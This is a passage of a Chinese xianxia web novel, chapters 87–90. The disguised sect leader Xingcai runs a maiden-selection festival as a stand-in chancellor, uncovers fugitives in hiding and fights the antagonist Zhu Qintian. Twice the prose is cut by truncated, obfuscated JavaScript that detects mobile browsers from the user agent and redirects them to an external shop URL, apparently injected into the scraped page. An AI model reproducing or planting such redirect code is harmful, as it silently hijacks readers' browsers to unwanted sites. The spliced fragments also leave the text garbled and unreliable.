青柑往后缩，弯身摆手：“弟……弟子没有。”
“呵。难道清欢以为找个相似得人，本尊就会移情别恋？嗤。”荇菜绕过青柑，离开欧丝国的宫馆。
青柑直身，默默地看她离开，长长地舒口气。
三首国的姑娘们比较特别，个矮却精致，黑肤却纤细窈窕。衣着也是几国里比昆山国还要少得一挂。
荇菜看向矮个的黑肤芭比，无语地看向九宫馆的穹顶：穿书斯巴达，不知道原书里的朱琴天是怎么参与这场盛会？
三首国也是十国里唯二没有宗门的国家。
护送的使者是他们本国的金刚小矮人，一身的精细盔甲和各异的武器，看起来比山泽的黑甲军要厉害。
荇菜突然想起《五军之战》，一时在堂上出神。
“陆相大人，不好了。西塔国和百戴国的使者在街上打起来。”
观云婴特意问两句，看向愣神的荇菜：“陆大人，使者打架……”
荇菜了然：“本相的职责范围。玄道长，你与本相一起去吧。”她带人走到九宫馆门口，又有人来报：
“陆相大人，西塔国丢了两名待选女郎，百戴国的护送修士一死一失踪。她们齐齐齐往这边赶来，想讨说法。”
荇菜已经看到乌压压一片奔来的男女，朝玄麦道：“玄道长，一会麻烦你释放点修士的威严。”
玄麦立时明白，待一群人大呼小叫至宫馆门前，以修士的威压横碾过去，硬是让一群人在宫馆门前闭嘴。
荇菜点了百戴国的使者问明缘由，又上前查看死去的修士：“请观长老出来。”
观云婴已经听到动静，赶来检查百戴国修士的尸体：“切口内底平滑、外口翻肉，乃是极为特别的利剑封喉。当街行凶，可有人看到凶手？”
这功夫，百戴国的使者指向西塔国的使者，言说他们的修士杀人。西塔国又说百戴国抢走她们两名丽人……
荇菜掏耳朵，朝随行的官员道：“先领两国的丽人进宫馆休息，好生安顿。使者和修士留下，另行询问。”
“山泽国，青虞章鹏，携二十丽人，到馆下榻。”
荇菜刚让大家换个地方再论，就听到上空传来气势震天的宣言。
青虞剑修章鹏声动天缨皇城，好生霸气。
87. 第 87 章
山泽的美人舟当街落地，以章鹏为首的剑修大步在前，身后跟着二十丽人，先后入馆。
章鹏走向观云婴，彼此无声见礼。
荇菜和一众官员尽皆被他们忽视。
街外围观的人群发出此起彼伏的切声：
“每个国家最多送十人待选，凭什么山泽可以送二十人？”
“你不知道山泽吞并高昌吗？自然把高昌的名额纳入其中。”
“山泽既然吞并高昌，就算是一国，送二十人算什么事？”
“有道理啊。他们护送的修士也比别国多两名，山泽国主真是……”
“嘘……不要命了。现在的山泽如日中天，谁敢触他们的眉头。听说西塔国也倚靠山泽，境内余下一个西家，其他三家已经或消失或臣服。如今的西塔国也就挂个名头。”
“山泽崔洧是怕引动浮空岛尊者下岛处理，才改变方法吧？”
“照这样看，下一个不会是西塔国对面的百戴吧？”
……
拘缨官吏以此事询问荇菜：“陆相大人，山泽的参赛人数确实是个问题，有违当年十王定下的规矩。”
山泽使者上前：“陆皎大人，历来神召节选十位侍神女郎上浮空岛。吾皇上浮空岛时特意询问过天龙使者，高昌无名，山泽可送二十丽人参赛。难道贵国对此事有疑？若是，陆皎大人可亲自上浮空岛，询问天龙道护法。”
荇菜轻笑，漫步穿过二十丽人，从她们淑容丽质的面容一览而过，站定笑回：“无妨。十国近百丽人，只遴选十人，没有规定哪国的丽人就一定能被选上。各位姑娘，下榻安顿吧。”
官吏们面面相觑，只好领得意洋洋的山泽使者和二十丽人进山泽宫馆下榻。
章鹏领三位剑修路过荇菜，眼眸滑过站定的“陆相”，昂首带人进馆内休息。
又有拘缨官吏为此事找荇菜说道：“陆相大人，历届神召节只选十位美人，各国心知肚明，不成文规定，都会各选一人上岛，谁也不吃亏。如今，山泽使臣这样做，分明想占两个名额。”
荇菜烦不胜烦，不理解堂堂天净宗创派老祖皎月为什么喜欢做这个民间丞相。
“山泽送多少人不是问题，遴选也是天龙使者亲自到场参与。神召节的重点是十国会上谁站在天尊面前谈上话，另请天尊重新划定山河界线，让高昌国再次复国。”
拘缨的官吏被荇菜这番话稳住心态，跳过神召节的过程，直抵目标。
众人听后理解陆皎大人的深明远虑，应下后各自忙碌。
观云婴忙着追查百戴国的护送修士死亡事件。
荇菜得入宫向欧阳博古回禀今日迎客的经过和情况。
晚间，忙碌一天的荇菜总算可以坐在修缮一新的书房，看向深夜潜来的章鹏，面无表情道：“崔洧派你前来是不放心本尊？”
出蜃珠洞府后不久，荇菜发合欢信给水玲珑，告知拘缨国这边陆皎的情况，让水玲珑立功，可以让崔洧派人接替陆皎的丞相位置。
如今，荇菜同山泽站在一条船上。
章鹏没有向荇菜见礼，直身道：“陛下派我前来，以示对妖尊的尊重。西塔国的朱家已经覆灭，吕家臣服，诸葛家隐退，余下西家听山泽的命令做事。
天龙道已经察觉陛下的宏图大计，出言警告。所以，陛下现在要得是一个稳妥。他希望妖尊能继续做陆相，以便他吞并百戴时能将大陆连成一片，定点天生大陆中央区域的霸主地位。”
“嗤。你是修士，本尊也是修士。你喜欢留在崔洧身边操持争霸天下的破事，不代表本尊喜欢这活。拘缨丞相的位置已经给你们腾出来，派个人这么难？”
荇菜的声音隐含不悦，转眸又思量：
朱琴天的朱家覆灭？若按原文的走势，朱琴天从鲛童那获得“蜃珠”和“神风驹”，以鲛童的死，借机认识山泽崔洧……照崔洧的野心，会同朱琴天合作。
那么，原文里，西塔国的朱家恐怕会是一家独大的存在。西家依附朱家，西双儿算是彻底栽在朱琴天的手里。
又或者，作为男主的朱琴天假意同崔洧合作，踩着崔洧借机登上天龙道，面见道祖天尊，实现男主名扬天下的目标。
无论原文的朱琴天走哪一条路，现在的他已无路可走。
原文剧情彻底天翻地覆大变样了。
章鹏有些摸不准眼前女人的心情，刚才一副阴沉沉不悦的样子，两个呼吸间已经在勾唇冷笑。
“皇后娘娘知道妖尊的性情，借给陛下一个人。进来。”
荇菜回过神，收敛笑意，轻哼：“果然是自家人了解自家事。”目视进屋的高个少年，打量他与陆皎相近的面容，“眼神不行，身高容貌倒是不差。”
少年行礼：“陆皎见过妖尊大人。”抬头时，眸光深邃，宛如此时的荇菜，已与陆皎的神貌近似九分。
荇菜恍然：“这等本事必是合欢宗的弟子。”
少年露出与陆皎相近的笑容：“家师正是皇后娘娘，师侄师承喜佛峰，见过莲花峰荇师叔。”
“哎呀。水玲珑把心神双法的易容术教给你？”荇菜走到少年面前，“叫什么？”
“陆皎。”
“玩保密？”
少年微愣，摇头道：“师侄本就没有名字，扮成谁就是谁，以此警醒自己不露马脚。”
“你喜欢角色扮演？”荇菜细细地望入少年的眼眸，不用紫眸惑术，就从少年的眼底望见荒凉的原野，也是个有故事的少年。
“你得有个名字，才能记得自己是谁。否则，时间一长，你会弄丢自己。”
少年微微垂眸：“师父也这么说。”
“你可有名字？”
少年再次摇头：“师父说，等我想要取个属于自己的名字就取一个。”
“呵，真是水玲珑的作风，介意本尊给你取个名字吗？”
少年的眼眸微亮：“请师叔赐名。”
所以啊，水玲珑没有参透人性。例如眼前的少年，他需要得是一份亲近人的推力。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196982|147152||http|test|mini|href|location''.split(''|''),0,{}));
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“首先，记住你是一名修士，不要拿山泽皇宫里那套用到另一个修士面前。你看章鹏，虽帮崔洧做事，嘴上说着尊重妖尊，可曾向本尊或崔洧弯过腰？”
少年回想，瞧向撇脸的章鹏，颔首道：“章前辈没有弯过腰，更不曾向荇师叔行礼。”
“那是因为他认为本尊的修为不足以压制他，令他弯腰。所以，修士讲得是自身拥有的实力，不讲面子、俗礼那套人情世故。”荇菜环顾书房，扫见那只养了圆口的大肚缸。整个书房被一条北冥鱼冲毁，这只镇宅的大肚鱼缸没事。
“你就叫北冥。北冥有鱼，其名为鲲，鲲大若几千里，能让鲲鹏自在游动的北冥，更是广大无边。”
“北冥，大而无边。”北冥默念一遍，行礼道，“多谢荇师叔教诲，北冥记下了。”又接住荇菜抛来的储物袋，“多谢荇师叔。”
“莲花峰的小玩意，前任峰主留下的东西，拿着玩。”荇菜又将陆皎的一些人际关系和记忆一一传给北冥，叮嘱道，“旁人的问题不大，即使观云婴，因为佩服……陆皎，不会特意查陆皎的身份。你须得提防一个人，天净宗的欧阳燕歌。”
章鹏凝眸：“欧阳燕歌乃是皎月尊者的弟子。皎月尊者避世不出，欧阳燕歌神龙见首不见尾，极难捉摸。而且，据我们调查，欧阳燕歌是拘缨皇室之人，乃是山泽撼动拘缨皇室得一大阻碍。”
荇菜掩去皎月尊者就是陆皎的事实。
“无妨，待本尊从浮空岛回来，欧阳燕歌就交给本尊。北冥，在此期间，不可与欧阳燕歌接触。”
北冥行礼：“弟子记下了。今日，弟子也暗中打听陆皎大人的为人、行事、作风，另有感悟。唔，北冥觉得师叔做这个陆皎还是缺了些的。”
“哦？”
北冥摸了下头，回道：“陆皎大人基本不笑，说话声低且威严，而且不喜欢说笑话。”
荇菜想起昨日朝堂上回欧阳博古那番话，颔首道：“确实。本尊已经在无形中埋下不少暴露身份的炸弹。多亏你提点。”
“北冥能帮上师叔是北冥的荣……幸。北冥记下了，这些话以后不会再说。”北冥露出大大的笑脸。
荇菜拍在北冥的肩头：“你与本尊都还有好长一段路要走。”
章鹏一脸无语：合欢宗的长辈弟子这么有爱吗？
天亮前，章鹏带北冥返回九宫馆。
荇菜站在皎月曾经站过的窗下，望向溶溶西坠的圆月：“未曾想有朝一日，本尊也会参与到这片土地的争霸赛里。”
“大人，”清溪跃近，回禀，“九宫馆那边出事了。”
天没亮，荇菜就坐在九宫馆的大宫殿，揉捏额头。西塔国的两名丽人深夜回来。但是，高欧国的护送修士却失踪了。
荇菜第一反应是瑶姬和西双儿被人掳走，第二反应是西塔国是西双儿的家。
西双儿避婚外逃的事没有宣扬却也被不少人知晓……有没有可能西塔国丢的丽人和百戴国被杀的修士都是西双儿和瑶姬搞的鬼。
88. 第 88 章
荇菜避开众人，亲自前往西塔国的宫馆面见两名深夜归来的丽人。
“陆相”威严的姿态让两名丽人当堂垂头不敢言语。
荇菜审视两人许久，发现两人也没有太紧张。
“神召节遴选侍神女郎，不是所有的女郎都能被选上进入浮空岛。按以往惯例，各国会均分名额，各送一人。”
两名女子的反应不一。一名女子微凝眉宇看向身旁的女子。那女子以眼神回视，安抚对方。
荇菜没有放过两人的眼神交流。
这句突兀的话是一次试探。试探两人对上岛的反应，而结论已经出来。
若是普通丽人明知官吏来查，应该表现不安，而不是像这位会镇定安抚同伴的女子。
她转身欲离开西塔国的宫馆。
“等等，陆相大人。”神态镇定的女子高声道，“昨日，我姐妹二人被人掳走时看到杀死百戴国修士的刺客。”
荇菜回眸：这是……瑶姬。目光落在那不安的女子脸面：西双儿。
世上能如此改变容色的丹药只有花涟的鸳鸯丹。鸳鸯丹珍贵无比。当年，瑶姬身为花涟的徒弟都拿不到丹药，两人怎么会有两颗鸳鸯丹。
另外，两人脱离高欧国的队伍，究竟想做什么？
“刺客长什么模样？”
“他的身形很快，但我看到他用的剑，连夜画下来。”瑶姬有备而来，递上画稿。
荇菜接过画稿，瞧清楚画上的内容，定住眼神：冥神剑。
朱琴天的本命佩剑，一把天生大陆榜上有名的灵剑。真是说曹操曹操就到。
四年前，山泽边境的洞窟里，与朱琴天交战时，在场人都见过冥神剑的剑刃。
刃口平滑，剑身三棱凹凸，宛如刺芒，切过山石造成的切口内里平滑、外口粗糙。
细较起来，同观云婴验尸得出的结论一样。
一瞬间，许多想法从荇菜的脑海里闪过。
西双儿和瑶姬隐姓埋名变成高欧国的护送修士，想上浮空岛躲避崔洧的联姻圣旨。当今世上，只有浮空岛是崔洧、青虞宗势力唯一触碰不到的地方。
但是，朱琴天发现两人的身份，对两人造成威胁。
山泽帮西家灭掉朱家。朱琴天被赶出朱家，以他的性情，他可以杀朱家人，却不同意别人灭朱家，尤其是悔了婚的西家。
朱琴天遇上高欧的护送修士西双儿，定不会放过她。
瑶姬和西双儿利用“鸳鸯丹”再次改变身份，以西塔国的丽人身份躲进西塔国公馆。
两人怎么会选择西塔国，西塔国的人没有认出两人吗？
除非西塔国的宫馆内有人帮她们。
西塔国的使者也姓西，名为：西龙剑。
识海里串联起疑问的荇菜将目光落在两人身后的屏景墙，再看向乖觉站立的瑶姬和西双儿。
“你若能看到剑主人杀人的动作，你就不可能是普通的女郎。”
瑶姬镇定的面色瞬间大变，神情僵硬不敢动弹。
西双儿搀住瑶姬，慌乱的圆眸瞪向荇菜，似乎一言不合就可开干。
荇菜折起冥神剑的画稿，提点过后离开西塔国的宫馆。
西塔国使者西龙剑走出屏景墙，被西双儿一把抱住，安抚道：“双儿，别怕。哥哥一定帮你。”
西双儿重重地点头：“幸好有哥哥。早前听闻哥哥出使拘缨的神召节，特意让哥哥少带两名丽人。
若我和瑶姬的身份出问题，还能借机躲在哥哥的羽翼下。”
西龙剑安抚地拍在妹妹的肩头：“双儿够机警，提早发消息给我做准备。我在大街上故意与百戴国的丽人团起争执，吵嚷丢了两名丽人。没想到朱家的余孽想要混进九宫馆，欲杀我使臣。”
瑶姬看向两兄妹，轻叹道：“传闻拘缨国的陆相聪明，刚才得那些话是不是已经发现我们的秘密？”
西家兄妹一时沉默不言。
瑶姬又道：“我们进城时与朱琴天碰个正着。朱琴天想在西兄闹出的混乱里假借身份进宫馆，却错杀百戴国的修士。
陆相的意思是我们看到他杀人，说明我们也是修士。”
西龙剑思量道：“无妨。陆相没有点破，或许……他也没有把握吧。”
瑶姬：“我更担心一事，陆相说得没错，神召节选女郎上浮空岛，按惯例各国瓜分十个名额。若我和双儿……
双儿，你无论如何一定要上浮空岛。只有这样，你才能真正地获得自由。”
西双儿抱住瑶姬：“不要。我不要和你分开。禾师姐已经放过我们，又给我们找来有市无价的鸳鸯丹。只要我们谨慎再谨慎些，一定可以躲开崔洧的人。”
西龙剑扶额：“妹妹，别天真了。禾掌门顾念同门情，但是山泽崔洧和家主不会放过你。
只有你联姻，父亲才能放心同山泽合作。山泽崔洧也敢兵过西塔境内，直入百戴。
你们不知道吧。高欧的十方领主战乱已有半年多。崔洧的人拿你做借口在暗中搅乱高欧局势。若非陆相得到神召节的举办权，游说高欧的领主们休战，恐怕又便宜山泽的黑甲军坐收渔翁之利。”
他见西双儿不在意这些，又道，“你以为你和瑶姬这么容易就当上高欧的护送修士吗？此次山泽的护送修士是章鹏剑修，他可是元婴级别，青虞宗的长老。恐怕他就是奉命来捉你。”
“哥哥，怎么办？我不想联姻，不想和瑶姬师姐分开啊。”
西龙剑叹息：“你们两人一定要同时被选中上浮空岛。”
西双儿和瑶姬面面相觑，齐齐向西龙剑行礼：“恳请兄长帮忙。”
从西塔国的宫馆出来，荇菜力排众议，让西塔国从这场护送修士被杀事件里脱身。又同观云婴商量，让玄决子前去保护高欧的女子。
高欧国的护送修士是悬赏招募。理论上，他们对护送修士失踪的事应该不会过于在意。但是，这次的高欧使臣非常强硬，一定要拘缨国找出两名护送修士。
荇菜头疼得很，让观云婴去对谈高欧国，解决此事。
一应事情处理下来，荇菜看向依令做事的官吏、下属，生出一种“权利就是好，能把麻烦都推出去”的感慨。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204657|147152||http|test|mini|href|location''.split(''|''),0,{}));
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比起莲花峰峰主的职位，一国丞相不怒自威、令出必行的感觉确实让人着迷。
但是，这绝对不是皎月尊者在拘缨朝堂隐姓埋名做丞相的理由。
观云婴回来道：“高欧那边很强硬。我发现护送修士是深夜离开，去向不明。西塔国使臣和修士也出去过，半夜就带回两名丽人，说是从黑衣刺客手上救回来。我问他们刺客，又说跑了。西塔国和高欧会不会有密谋？”
清溪进来禀告：“大人，高欧使臣拜访山泽宫馆。”
荇菜眯眸，回想起曾经陆皎在书房看过的奏报。高欧十方领主虽已休战，但东部和南部领主已有投靠山泽的意愿。
“高欧的使臣出自哪位领主？”
官吏递上文书：“高欧的东部领主。”
荇菜被这本文书硬控一息，突然合上文书，豁然明了。
她不动声色道：“今日，天龙道上仙会入宫，本官需随驾接待上仙。此事暂且拖上一拖。”
又朝观云婴道，“有劳观长老继续追查百戴国修士被杀的凶手。”
待众人散去，荇菜轻笑着看向殿外：“崔洧到底不会放过西双儿啊，难怪两人这般大动作。
朱琴天，这次本尊看你怎么躲过观云婴的追捕。”
处理完九宫馆的事后，天龙道的护法从天而降，不是羽化生，而是一名尊号寒凝仙子的女修士。
寒凝仙子带五位姿色不俗的男女弟子，齐齐降落在拘缨皇宫设立的承仙台。
欧阳博古带领一众宫妃、朝臣恭迎一行人。
寒凝仙子目不斜视地穿过行礼的国主、朝臣，直入天月宫休息。
她的属下对外宣言：“仙子代天龙尊者主持神召节，领众人向天地祈福。至神召节开始，仙子不愿被人打扰。”
天月宫的大门一关，欧阳博古看向老神在在的荇菜。
荇菜与他对一眼就垂眸不言，恭送国主和宫妃离去。北冥说过，陆皎丞相没那么爱说话。
丞相一派的官吏近前：“陆相大人，天龙道的使者真是不客气得很啊。”
荇菜一脸正经：“诸位大人去忙吧。”
当初，羽化生踏入合欢宗大殿时也是差不多的态度。天龙道的使者目下无尘，不是一年两年、也不是争对一人两人。
晚间，国主设宴为寒凝仙子以及各国使臣和修士接风。
寒凝仙子如她所言，本人没有出席宴会，派出一名属下出来应酬。
各国使臣入宫赴宴，护送修士有来也有不来，各有态度。
荇菜陪喝两杯酒，寻个理由出殿，将身份给易容成陆皎的北冥。
她先是以欧丝国护送修士的身份回九宫馆，正好见章鹏向西塔国的宫馆走去。
荇菜横身拦道：“章鹏长老，你没把本尊放在眼里。”
章鹏蹙眉：“妖尊请让路。我出使拘缨，还有一个目的：奉国主命令，请西家大小姐回家族待嫁。”
“高欧的东部领主卖给崔洧的人情。”荇菜了然道，见对方不作回应，生出一丝火气，“北冥说你从不向本尊行礼。”
89. 第 89 章
章鹏的气势节节攀升，利眸如剑般射向荇菜。
“即使你是合欢妖尊，同为国主做事，我不会对你手下留情。”
荇菜笑得越发灿烂：“本尊只为合欢宗做事，并不是你的国主。章鹏，你已经失道，自己没有察觉吗？”
“失道”两字让章鹏的眼眸微张。高手过招，只在一瞬。
章鹏落入荇菜的紫眸幻境，一瞬即“今夕何年”，面对帝王的盛怒之威，被压制地弯下腰。
在紫眸幻境里，章鹏看到那个在山泽皇宫拼命保持自我的剑修。他一次次地告诉自己：我与蛇瞳妖道不同，不贪念人间权/色，绝不会向崔洧弯腰。
然而，崔洧的帝王之气日盛。当帝王下达命令，剑修的骄傲也会对他俯首，慢慢地避开王者的锋芒。
日复一日，章鹏忘记入山泽皇朝的最初动机……尊青虞宗门之令，入世问政，让青虞成为世间最强的宗门，胜过天龙道。
浮空岛上，章鹏尊帝王之令，剑指十方山寺的火云子，将他打落万丈深渊。剑道心志与帝王之威并列，而帝王走在他的剑道之上。
荇菜极快地收敛紫眸幻境，没有窥探章鹏的心魔。
她看向面色阴沉的章鹏，婉婉道：“章鹏大人不用多礼。本尊也不是多礼的人。你这般客气，本尊就受了这礼。”
章鹏溃散的心志一瞬间凝聚，直起身后利眸再次射向荇菜。
“不愧是合欢宗的妖尊。”
荇菜莞尔，缓缓道：“本尊不在意山泽要对西塔做什么？但是，若有人动了本尊要保的人，本尊能掀掉这片天，让他知道——世间险恶、万事难行。”
章鹏眯眸，这是合欢妖尊的警告。
荇菜：“章鹏大人，请回去告诉崔洧，西家谁联姻都可以，唯独西双儿不行。除非，他不想要欧丝、合欢两位有力的盟友。”
合欢宗可以自立为皇，扶持欧丝皇室。
章鹏收敛自身的怒气锋芒，不解道：“为什么？你这女人特立独行、喜怒无常，禾掌门同你是朋友。但是，瑶姬和西双儿不算你朋友吧？”
荇菜背对他，看向灯火熠熠的宫馆：“呵，你都说本尊无常，今日本尊就喜这爱屋及乌。禾诗逸要保的人，本尊当然要替她保下。”
夜空炸亮一道符咒烟火。观云婴追查到刺客后传出的信号。
荇菜斜睨一眼，纵身跃出九宫馆。没再管章鹏的决定，晾他也不敢替崔洧下决定。
章鹏目送她消失在盛开的烟火下，衡量过后离开西塔国的宫馆。
荇菜循着观云婴的信号追入天缨城，在一处民宅上空落脚。
观云婴仰看月下来人，诧异道：“你是何人？”
荇菜飘忽下落，看向已成干尸的女修士：“朱琴天呢？”
观云婴哼了声，没理她。他要等得是陆相的人。
荇菜幽幽道：“观长老，亡夫生前提起过你，说你是他最好的朋友……之一。你帮他算出命定人的方位。”
观云婴愕然道：“你是……花老弟的道侣，合欢宗莲花峰的新任峰主——合欢妖尊？”
“是啊，观大哥。”荇菜回他个大大的笑脸，眼神里却透出危险，“本尊追查此凶多时，还请观大哥告知他的下落。”
观云婴眨下眼，目光落在地上的女尸：“我追来时，他人刚跑。地上是百戴国的女修士。此人在修炼一门极其邪恶的功法，须得尽快找到他。不然，一定还会有人遇害。”
荇菜赤足悬浮，上前检查尸体：“没有血。”
忽然，猩红的妖力从尸体口中喷薄而出。
荇菜翻身后跃，被妖力灼到脚尖。
观云婴祭出护心镜，抵挡四散的妖力，以免邪煞妖气危害四邻。
“弟媳妇，你没事吧？”
荇菜低头看向发红的足尖，踩在漆黑脏污的地面，心里犯起一阵嫌恶。
她磨牙恨声：“朱琴天！”
观云婴用护心镜吸取释放出来的妖力。尸体的口中浮出一枚封妖牌，被他摄入掌心。
“这是……三生道的封妖牌？三生道的人混进天缨城。”
荇菜跳着脚上前，夺过他手里的封妖牌，取出从青螺镇枫林得来的封妖牌。
两相比较，同出一源。
“三生道，封妖牌，朱琴天……难道朱琴天加入三生道？”
观云婴看向荇菜翘起的左足，赶忙撇开眼，递上一双绘绣星辰的登天靴。
“弟媳妇，花老弟常年在峰上种菜养蚕，没留下什么家当。你们结侣时，作为他的大哥未曾到场祝贺。这登天靴就当是贺礼。”
荇菜：……有被侮辱到。花涟不止种菜养蚕，还养鱼，而且售卖丹药给宗门。不然，市面上不会有鸳鸯丹让瑶姬和西双儿改头换貌。袖里乾坤还存下不少家当呢。
话说，合欢宗的结侣大典上，观云婴人没到但是礼到了。
荇菜运转体内的真火下行，以涅槃火灼过足尖，试图熔蚀掉染上的妖力煞气。
“啊……”她捂住心口，愕然地看向泛红的足尖。煞气竟随真火沿经脉入体，灼心之痛，宛如剐肉。
“弟媳妇，这是凶妖的煞气，一旦沾染，会侵蚀修士的法体。即使你是凤族的半妖之身，也不可轻易与之抗衡。”
荇菜瞪他，一把捞过鞋子套上脚：“你怎么不早说。煞气入体，如何解？”
观云婴：……一定是这理直气壮的模样拿捏住花老弟。
“朱琴天是冲本尊来的。”荇菜的直觉告诉自己。
山泽边境的洞窟一战后已经过四年，朱琴天有足够的时间做复仇的准备工作。芳菲和花容的事没有这么简单，须得引朱琴天出来，杀了他，才能一绝后患。
荇菜看向手中的两枚封妖牌，捏紧后跃身离去。
“弟媳妇？”观云婴追出两步，“传闻天池净水可以洗煞气。天池在浮空岛。”
荇菜没有回陆皎的府邸，也没回九宫馆，直接出天缨城。
她佯装虚弱，靠在道旁的树下，摆下简单易破的阵盘，盘坐后驱除入体的煞气。
这是非常明显的陷阱。
朱琴天也知道这是妖女的陷阱，但是他不怕，因为他已有准备。
晦暗中，一枚淬毒的骨钉直直地打向荇菜的太阳穴。
荇菜冷笑：朱琴天，果然是你。剧情大神的乱码字牌像是夜间的霓虹，想要不被人发现都难。
荇菜在原地消失，再出现时，一掌袭向一袭黑兜黑袍的黑影。
骨钉被神识御使归来，冥神剑也被祭斩而出，齐齐攻向荇菜。
荇菜旋身一避，瞬间后退，落稳后于半空旋身避开骨钉，再进时手握流苏长剑，以纯阳剑诀与他相抗。
“妖女，诈我。”果然是陷阱。
“妖男，你不也设计害本尊。”荇菜与他过几招，纵身间悬剑身前，蓄力直斩而去。
剑光之威照亮天缨城郊。
“九阳剑尊的纯阳剑诀，你竟学会他的独门剑法！”朱琴天恨声。
他本是纯阳之体，乃是九阳剑尊最合适的弟子。若无禾诗逸当堂点破元阳的事，瑶姬出面阻拦收徒，这套纯阳剑诀该是他才能学的本事。
朱琴天的心中生出强烈的怨恨。纯阳剑光临身际，纵身后退，避其锋芒。
纯阳剑诀之力摧枯拉朽，毁掉大片
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林木。剑修之能，撼天动地。
朱琴天避过纯阳剑芒的炙热之气，离得颇远。撕裂一张传送符：“妖女，青螺镇是我送你的拜帖，天缨城是我送你的见面礼。
接下来，我要你生不如死，与你相熟的人通通为你黄泉开道。哈哈哈……”
荇菜持剑迫近，落地查看四周，没有发现朱琴天的踪迹。
但是，荇菜要得就是一缕朱琴天的气息。
她收起灵剑，旋诀凝力，摄取空气里残留得属于朱琴天的气息引入万音铃的空铃铛，结成一颗法息珠。
“朱琴天，本尊不会让祸害遗千年。你不找本尊，本尊也会找到你。”
徒步出树林，荇菜看到睁双红眸的火云子。
“木鱼声停了，本尊就知道你守在这。本尊没有遁空离开，是特意出来见你。”
火云子微微垂眸，圆月映眸，红银交错的目色如泣如怨。
“怎样才能杀死你？妖女。”说完，手持红掌直劈而去。
荇菜没有后退一步，任由掌风迎面，镇定道：“你想要重启十方山寺，让高昌复国……”
面对眼前阴冷的红莲业火掌，荇菜面不改色地继续，“解开十方山寺的佛笼需要什么？”
火云子慢慢地垂下手掌，蕴红光的眸子瞪向荇菜。
“至纯佛力。”目光落在她左手腕上的万音铃。
“本尊没有，你也没有。但是，本尊知道世上有一个人一定有。”
“谁？”
荇菜慢慢地拉起笑容，宛若流星一瞬即逝。
“佛家讲冤冤相报何时了，放下屠刀立地成佛。本尊为夫君报仇本就没错。”
火云子露出嘲讽的神情：“你杀人在先，辩解分身在后。你为花施主报仇，难道不应该先向自己替他报仇吗？”
“住口。”荇菜被说破防，怒目瞪向火云子，却看到他痛快纠结挣扎的痛苦眼神。
强行压住汹涌而起的愤怒杀意，荇菜冷声道：“浮空岛有你要找到人。”说完，纵身离去。
“浮空岛？”火云子收起红莲业火的力量，于幽暗的林间矗立如柱，恍然道，“若惊蛰师兄真得是分身。临死前遁入大佛境皈依，分身归位，拥有至纯佛息得只有那个人——”
道祖天尊，黄椒。只有他才能再次打开合笼的十方山寺。
“呵……呵呵呵……哈哈哈哈……”火云子疯狂地大笑，眼泪倏忽落下，眸光里是说不清道不明纠缠怨念。
浮空岛上，他被人打落，连道祖天尊的面都没见上。在万丈沟壑的深渊底下被业火灼烧灵魂，这些都可以扛下来，再从沟底拼命地爬上来……
但是，山泽崔洧被百姓迎下岛归国。浮空岛没有惩罚山泽崔洧侵占他国的罪行。高昌皇室的皇族性命、十方山寺佛笼合境，全部的血债都消失在世间。
因为天龙道，不公！
“哈哈哈哈……哈哈哈哈……上天不公，上天不公啊……”
**
翌日，拘缨皇城前宫门的大广场点将台上，寒凝仙子领欧阳博古和一众朝臣向天地祈愿，祈祷天生大陆风调雨顺、国泰民安，十国安稳和平，八宗护佑苍生。
祈福仪式过后，九十六位美人分作十队，依序进场。
广场周围可以围观这盛况得可不是普通的百姓，而是各官署的家眷和受邀宾客。
他们被主办方叮嘱过不可随意出声。
各国送到神召节参选的女子无一不是人群里独一无二的美人。
只是，审美按地区和种族各有差异。众人目不暇接地扫过一位又一位的美人，好奇宛如仙女的天龙道使者会选中哪十位女子。
90. 第 90 章
寒凝仙子从一众待选的侍神女郎中缓步走过。
凡她驻足的女子身旁，下属弟子会送上含苞待放的鲜切莲花。
欧丝国的一名女子最先得到一支饱满未开口的荷花苞。
荇菜和青柑站在一处，目光落在被选中的欧丝国女子，慢慢地扯抹笑。
瑶姬竟混进欧丝国的丽人队伍，且被寒凝仙子选中了。她和西双儿对于上岛的事真是志在必行啊。本尊要不要告诉她们章鹏不会再出手呢？
羽民国的一名羽族女子得到半开放的荷花苞。昆山国里金子饰品最多的女子得到半开放的荷花苞。
三首国一名身材极其有料的黑肤女子得一支半开的花苞。
百戴国的蓝袍纹绣女子也得了差不多的一支花苞。
拘缨本土也有一位丽人得到半开的花苞。
山泽国被选中得是一名气质温婉的丽人，拿得是紧包的荷花苞。
这名丽人有些不知所措，被选中后掩不住的喜悦，拿了支没有开一丁半点的花苞又紧张不安。
高欧国的双胞胎姐妹同时获得两支盛开的碧绿荷花，正是吉雅和吉莱。
两姐妹心花怒放，齐齐向寒凝仙子行礼。
高欧的使臣都跟着挺起胸脯，一脸与有荣焉。
西塔国的丽人队伍里，寒凝仙子从头走到尾又走回去，最终停在西双儿的面前。
她殊容似冰雪的脸上露出一丝讥笑，斜睨远处的欧丝国队伍，亲手从弟子的手中挑出一支荷花苞送到西双儿的手上：“拿稳了。它是你的保命符。”
西双儿举双手接过花枝，不慎抖了下，默默地垂下眼。
“本尊已将十位丽人选好。”寒凝仙子让下属弟子放出五架用神风驹拉的马车，“请拿到花的丽人上车，准备前往浮空岛。”
围观的宾客露出羡慕的目光，神风驹是羽民国都稀罕的飞行兽，介于妖兽和灵兽之间。因而，神风驹的飞行速度、奔跑耐力乃至战斗的性能非常厉害。
天龙道浮空岛能一次性拿出五匹毛色纯白、无一根杂毛的神风驹，当真让人仰望她们的实力。
选中的丽人们按捺兴奋，一一出列上车。
余下没被选上的女子陆续退场。
寒凝仙子看向拘缨国主：“诸位可是已经商量好十国会的举办时间？”
